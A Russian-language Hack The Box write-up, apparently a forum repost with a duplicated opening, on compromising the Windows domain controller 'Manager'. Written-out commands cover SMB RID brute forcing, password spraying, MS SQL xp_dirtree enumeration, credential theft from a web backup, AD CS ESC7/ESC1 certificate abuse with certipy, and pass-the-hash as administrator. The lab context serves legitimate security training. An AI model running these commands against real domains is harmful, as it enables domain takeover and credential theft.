stihl не предоставил(а) никакой дополнительной информации.
В этом райтапе я покажу, как злоумышленник может повысить привилегии при помощи техники ESC7 и захватить домен через Active Directory Certificate Services. Но прежде займемся разведкой: просканируем ресурсы SMB, извлечем данные из MS SQL и через функцию просмотра каталогов добудем учетные данные пользователя.
Наша цель — получение прав суперпользователя на машине Manager с учебной площадки Hack The Box. Операционная система — Windows, уровень сложности — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
По результатам сканирования имеем много открытых портов, что типично для Windows-серверов:
или Зарегистрируйся.
Результат проверки
Гостевая авторизация доступна! А это значит, что можно использовать технику перебора RID, чтобы получить названия групп и имена пользователей домена. Делается это при помощи все того же CrackMapExec.
Результат перебора RID
Сохраняем список пользователей в файл. Теперь можно попытаться подобрать пароли к существующим аккаунтам. Протестировать стоит как пустой пароль, так и имена пользователей в качестве паролей. Причем подбирать можно как на службе SMB, так и на службе MS SQL.
Результат подбора пароля
Пароли были указаны с заглавной буквы, сменим все строчными и повторим перебор.
Результат подбора пароля
В итоге получаем валидную учетную запись operator perator.
Результат подбора пароля
Для работы с MS SQL в Linux можно использовать удобный скрипт mssqlclient из набора скриптов Для просмотра ссылки Войдиили Зарегистрируйся.
Подключение к службе MS SQL
Первым делом проверяем, имеет ли пользователь хоть какую‑нибудь административную роль. Сделать это можно за один запрос.
Результат выполнения запроса
У этого пользователя нет ролей, что очень печально. Я попробовал проверить процедуры и другие функции, которые можно эксплуатировать, чтобы повысить привилегии в службе или получить удаленное выполнение кода, но результатов это не дало. Зато можно использовать функцию xp_dirtree для отображения листинга в указанном каталоге.
Содержимое диска C
Видим каталог inetpub и вспоминаем про работающий на той же машине веб‑сервер. На этом этапе можно получить всю структуру сайта.
Содержимое каталогов inetpub\wwwroot
В корне сайта лежит бэкап, о котором знать ранее мы не могли. Скачиваем его и просматриваем файлы с настройками. В файле .old-conf.xml есть учетные данные.
Содержимое файла .old-conf.xml
Первым делом нужно проверить валидность найденной учетки.
Проверка учетных данных
Учетная запись валидна, а значит, можно получить содержимое группы Remote Management Users. Пользователи в этой группе могут авторизоваться по WinRM.
Содержимое группы Remote Management Users
Этот пользователь присутствует в группе, поэтому авторизуемся по WinRM и забираем первый флаг.
Флаг пользователя
Информация о пользователе
Для проверки AD CS есть удобный инструмент Для просмотра ссылки Войдиили Зарегистрируйся, который не только позволяет работать с центром сертификации, но и помогает автоматически проверять известные уязвимости (параметр -vulnerable).
Результат анализа AD CS
В выводе утилиты указано, что присутствует уязвимость ESC7. Это значит, что пользователь имеет опасные привилегии на самом центре сертификации.
Центры сертификации AD CS выдают сертификаты с параметрами, которые определяются шаблонами. Эти шаблоны представляют собой наборы политик регистрации и предопределенных параметров сертификата и содержат разные сведения, например:
Но для начала обновим запись в файле /etc/hosts, куда внесем и имя центра сертификации.
Теперь по намеченному плану назначаем пользователю право «Управление сертификатами».
Результат выполнения команды
Команда выполнена успешно, поэтому переходим к активации шаблона сертификата SubCA. Этот шаблон может быть уже активирован. Чтобы это проверить, используем параметр -list-templates.
Активные шаблоны сертификатов
Нужный шаблон присутствует в списке, переходим к эксплуатации ESC1.
Давай запросим сертификат SubCA, где в атрибуте SAN укажем пользователя administrator.
Результат запроса сертификата
Запрос завершился ошибкой, но мы знаем его номер — 25. Одобрим заявку на выдачу сертификата и заново запросим его.
Одобрение заявки
Повторный запрос сертификата
Имея сертификат пользователя, позволяющий пройти аутентификацию, можно получить NT-хеш пароля пользователя.
Получение NT
С полученным хешем подключаемся к серверу от имени администратора и забираем последний флаг.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Manager с учебной площадки Hack The Box. Операционная система — Windows, уровень сложности — средний.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.236 manager.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
По результатам сканирования имеем много открытых портов, что типично для Windows-серверов:
- 53 — служба DNS;
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 1433 — служба Microsoft SQL Server;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- 9389 — веб‑службы AD DS.
10.10.11.236 manager.htb dc01.manager.htb dc01
Точка входа
Так как доступна служба SMB, первым делом проверяем гостевую авторизацию без ввода пароля. Для этого удобно использовать утилиту Для просмотра ссылки Войдиcrackmapexec smb 10.10.11.236 -u anonymous -p ''
Гостевая авторизация доступна! А это значит, что можно использовать технику перебора RID, чтобы получить названия групп и имена пользователей домена. Делается это при помощи все того же CrackMapExec.
crackmapexec smb 10.10.11.236 -u anonymous -p '' --rid-brute 5000
Сохраняем список пользователей в файл. Теперь можно попытаться подобрать пароли к существующим аккаунтам. Протестировать стоит как пустой пароль, так и имена пользователей в качестве паролей. Причем подбирать можно как на службе SMB, так и на службе MS SQL.
Код:
crackmapexec smb 10.10.11.236 -u users.txt -p users.txt --no-bruteforce --continue-on-success
crackmapexec mssql 10.10.11.236 -u users.txt -p users.txt --no-bruteforce --continue-on-success
Пароли были указаны с заглавной буквы, сменим все строчными и повторим перебор.
crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt --no-bruteforce --continue-on-success
В итоге получаем валидную учетную запись operator
Точка опоры
При аналогичном переборе службы MS SQL для пользователя operator видим другие результаты, но полученная ошибка подтверждает валидность учетных данных.crackmapexec smb 10.10.11.236 -u users.txt -p small_users.txt --no-bruteforce --continue-on-success
Для работы с MS SQL в Linux можно использовать удобный скрипт mssqlclient из набора скриптов Для просмотра ссылки Войди
impacket-mssqlclient -port 1433 manager.htb/operator:operator@10.10.11.236 -windows-auth
Первым делом проверяем, имеет ли пользователь хоть какую‑нибудь административную роль. Сделать это можно за один запрос.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
У этого пользователя нет ролей, что очень печально. Я попробовал проверить процедуры и другие функции, которые можно эксплуатировать, чтобы повысить привилегии в службе или получить удаленное выполнение кода, но результатов это не дало. Зато можно использовать функцию xp_dirtree для отображения листинга в указанном каталоге.
EXEC xp_dirtree 'C:', 1, 1;
Видим каталог inetpub и вспоминаем про работающий на той же машине веб‑сервер. На этом этапе можно получить всю структуру сайта.
Код:
EXEC xp_dirtree 'C:\inetpub', 1, 1;
EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1;
В корне сайта лежит бэкап, о котором знать ранее мы не могли. Скачиваем его и просматриваем файлы с настройками. В файле .old-conf.xml есть учетные данные.
wget http://manager.htb/website-backup-27-07-23-old.zip
Первым делом нужно проверить валидность найденной учетки.
crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Учетная запись валидна, а значит, можно получить содержимое группы Remote Management Users. Пользователи в этой группе могут авторизоваться по WinRM.
crackmapexec smb 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123' --groups 'Remote Management Users'
Этот пользователь присутствует в группе, поэтому авторизуемся по WinRM и забираем первый флаг.
evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
Локальное повышение привилегий
Получаем всю информацию о пользователе и отмечаем группу Certificate Service DCOM Access. Это обратило мое внимание на службу сертификации Active Directory.whoami /all
Для проверки AD CS есть удобный инструмент Для просмотра ссылки Войди
certipy find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
В выводе утилиты указано, что присутствует уязвимость ESC7. Это значит, что пользователь имеет опасные привилегии на самом центре сертификации.
ESC7 AD CS
Службы сертификатов Active Directory (AD CS) — это настраиваемые службы для выдачи сертификатов и управления ими в системах безопасности. Здесь используется технология открытых ключей.Центры сертификации AD CS выдают сертификаты с параметрами, которые определяются шаблонами. Эти шаблоны представляют собой наборы политик регистрации и предопределенных параметров сертификата и содержат разные сведения, например:
- срок действия сертификата;
- предназначение сертификата;
- способ указания субъекта;
- кому разрешено запросить сертификаты.
Но для начала обновим запись в файле /etc/hosts, куда внесем и имя центра сертификации.
10.10.11.236 manager.htb dc01.manager.htb manager-DC01-CA
Теперь по намеченному плану назначаем пользователю право «Управление сертификатами».
certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -add-officer raven
Команда выполнена успешно, поэтому переходим к активации шаблона сертификата SubCA. Этот шаблон может быть уже активирован. Чтобы это проверить, используем параметр -list-templates.
certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -list-templates
Нужный шаблон присутствует в списке, переходим к эксплуатации ESC1.
ESC1 AD CS
Техника ESC1 позволяет повысить привилегии через шаблон сертификата, но должны выполняться следующие требования:- У шаблона сертификата в свойстве msPKI-Certificate-Name-Flag установлен флаг ENROLLEE_SUPPLIES_SUBJECT, что позволяет запрашивающему самому установить атрибут SAN (subjectAltName).
- Сертификат можно использовать для аутентификации клиента (client authentication).
- Текущий пользователь имеет права для регистрации сертификата без утверждения менеджера AD CS.
Давай запросим сертификат SubCA, где в атрибуте SAN укажем пользователя administrator.
certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -template SubCA -upn administrator@manager.htb
Запрос завершился ошибкой, но мы знаем его номер — 25. Одобрим заявку на выдачу сертификата и заново запросим его.
certipy ca -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -issue-request 25
certipy req -ca 'manager-DC01-CA' -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -retrieve 25
Имея сертификат пользователя, позволяющий пройти аутентификацию, можно получить NT-хеш пароля пользователя.
UnPAC the hash
Суть техники UnPAC the hash в том, что, имея сертификат, позволяющий пользователю пройти аутентификацию, можно получить TGT-билет. В нем будет структура PAC_CREDENTIAL_INFO, а она содержит ключи NTLM. Так как в этих операциях задействован Kerberos, нам дополнительно требуется синхронизировать время с удаленным сервером. После получения TGT-билета и NT-хеша вернем время обратно.
Код:
sudo ntpdate -s 10.10.11.236
certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
sudo ntpdate -s ntp.org
С полученным хешем подключаемся к серверу от имени администратора и забираем последний флаг.
evil-winrm -i 10.10.11.236 -u administrator -H ae5064c2f62317332c88629e025924ef
Машина захвачена!